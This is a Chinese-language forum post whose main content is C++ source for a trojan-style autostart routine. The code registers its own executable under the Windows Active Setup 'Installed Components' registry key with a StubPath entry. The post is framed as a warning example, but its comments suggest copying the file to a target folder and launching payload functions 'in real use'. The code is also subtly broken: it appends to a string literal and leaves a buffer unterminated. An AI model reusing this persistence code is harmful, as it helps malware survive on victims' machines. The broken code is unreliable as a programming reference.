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| 关键词： nbsp char HKEY const oGet GUID Data tmpkey NULL unsigned |
见过一个国外的木马,怎么找也找不到它的自启动项,最后跟踪启动日志才找到它,原来它用的就ActiveX启动自己 目前国内也有好多木马也支持这种方式启动自己,我只是给出一个例子,希望大家以后见到了不会怕它们.下面是代码,用VC新一个Application工程(带基本结构的)把代码直接贴上就可以编译 CODE:// ActiveX to Start Up.cpp : Defines the entry point for the application.// #include "stdafx.h" #include "winreg.h"#include "windows.h"#include <objbase.h>#include <stdio.h>#include <Tchar.h> #ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endif#pragma comment (lib, "Ws2_32.lib") //--生成GUIDconst char* newGUID() //GUID生成函数{static char buf[64] = {0};GUID guid;if (S_OK == ::CoCreateGuid(&guid)){ _snprintf(buf, sizeof(buf) , "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" , guid.Data1 , guid.Data2 , guid.Data3 , guid.Data4[0], guid.Data4[1] , guid.Data4[2], guid.Data4[3], guid.Data4[4], guid.Data4[5] , guid.Data4[6], guid.Data4[7] );}return (const char*)buf;} const char * WINAPI CheckREG() //启动项测试函数{ HKEY hkey,tmpkey; //LPCTSTR RDkey="Software\\Microsoft\\MePath"; //long regMP=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,RDkey, 0, KEY_READ|KEY_WRITE, &hkey)); if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\MePath",&hkey)!=ERROR_SUCCESS) { RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft",&tmpkey); RegCreateKey(tmpkey,"MePath",&hkey); RegCloseKey(tmpkey); } LPBYTE oGet=new BYTE[80]; DWORD typeMP=REG_SZ; DWORD cbData=80; long ret1=::RegQueryValueEx(hkey, "ShellPath", NULL,&typeMP, oGet, &cbData); if(ret1!=ERROR_SUCCESS) { //--COM初始化 CoInitialize(NULL); //这里是可以生成这个键 oGet=(LPBYTE)newGUID();//GUID生成函数 //设置ShellPath项为 oGet ::RegSetValueEx(hkey,"ShellPath\0",NULL,REG_SZ,(const unsigned char *)oGet,strlen((const char *)oGet)); //设置(默认)项为 oGet //::RegSetValueEx(hkey,NULL,NULL,REG_SZ,(const unsigned char *)oGet,strlen((const char *)oGet)); //关闭COM CoUninitialize(); } RegCloseKey(hkey); return(const char*)oGet;} const char * WINAPI CheckStartUP(unsigned char * MyPaths){ HKEY hkey,tmpkey; char * pp="SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\"; LPCTSTR RDkey={0}; const char * MyGuid=CheckREG(); RDkey=(LPCTSTR)strcat(pp,MyGuid); //long regMP=RegOpenKey(HKEY_LOCAL_MACHINE,RDkey,&hkey); if(RegOpenKey(HKEY_LOCAL_MACHINE,RDkey,&hkey)!=ERROR_SUCCESS) { RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components",&tmpkey); RegCreateKey(tmpkey,MyGuid,&hkey); RegCloseKey(tmpkey); //return ("1"); } LPBYTE oGet=new BYTE[80]; DWORD typeMP=REG_SZ; DWORD cbData=80; long ret1=::RegQueryValueEx(hkey, "StubPath\0", NULL,&typeMP, oGet, &cbData); if(ret1!=ERROR_SUCCESS) { oGet=MyPaths; RegSetValueEx(hkey,"StubPath\0",NULL,REG_SZ,(const unsigned char *)oGet,strlen((const char *)oGet)); } RegCloseKey(hkey); return(const char*)oGet; } unsigned char * changme(const char *kk) //把字符串前后各加一个 ",以方便在命令行运行时可以作为一个字串看待{int kklen,i;kklen=strlen(kk);char *szkk=new char[kklen+1];szkk[0]='\"';i=0;while(kk[i]!='\0'){ szkk[i+1]=kk[i++];};szkk[i+1]='\"';return (unsigned char *)szkk;} int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ // TODO: Place code here. if(stricmp(lpCmdLine,"")==0){ char szFilePath[MAX_PATH]={0}; const char * mereg; //在此之前可以加一些复制自己到目标文件夹的代码 ::GetModuleFileName(NULL, szFilePath, MAX_PATH); mereg=CheckStartUP(changme(szFilePath)); MessageBox(NULL,mereg,"\tOK\0",0);//这句有点问题,不知道为什么,总是有点乱码,有朋友能帮我解决下吗?? //这句在真正运用的时候,可以换CreateProcess或 //ShellExecute来运行带参数的程序实例,让程序可以运行其它功能//记得重新运行的时候,后面要带参数,随便什么字符都可以 ,只要lpCmdLine不为空就行?:)}else{ // MessageBox(NULL,"工作正常","PL",0);}return 0;} |
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